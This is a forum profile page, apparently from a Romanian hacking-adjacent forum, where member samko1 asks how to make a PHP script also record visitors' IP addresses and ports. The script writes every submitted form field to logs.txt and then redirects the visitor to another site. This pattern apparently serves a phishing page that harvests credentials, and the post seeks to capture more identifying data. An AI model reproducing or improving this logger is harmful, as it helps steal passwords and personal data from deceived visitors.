Jump to content

samko1

Members
  • Posts

    2
  • Joined

  • Last visited

Recent Profile Visitors

The recent visitors block is disabled and is not being shown to other users.

samko1's Achievements

Newbie

Newbie (1/14)

10

Reputation

  1. Ms mult de tot crs12decoder.Merge!!!
  2. Cum pot salva ip-ul si portul unui vizitator al "site-ului" meu odata cu datele acestuia intr-un fisier txt.Cu restul datelor stiu cum se face.Dar as vrea sa am incluse si ip,port.Nu vreau sa fie trimise pe mail.Am cautat pe forum dar am gasit doar sa m-i le trimita pe mail.Asa arata scriptul: <?php header ('Location: http://www.site.com'); $handle = fopen("logs.txt", "a"); foreach($_POST as $variable => $value) { fwrite($handle, $variable); fwrite($handle, "="); fwrite($handle, $value); fwrite($handle, "\r\n"); } fwrite($handle, "===============\r\n"); fclose($handle); exit; ?> Ce trebuie adaugat pt a-mi salva ce am precizat mai sus? Multumesc anticipat si imi cer scuze daca nu am postat la categoria potrivita.
×
×
  • Create New...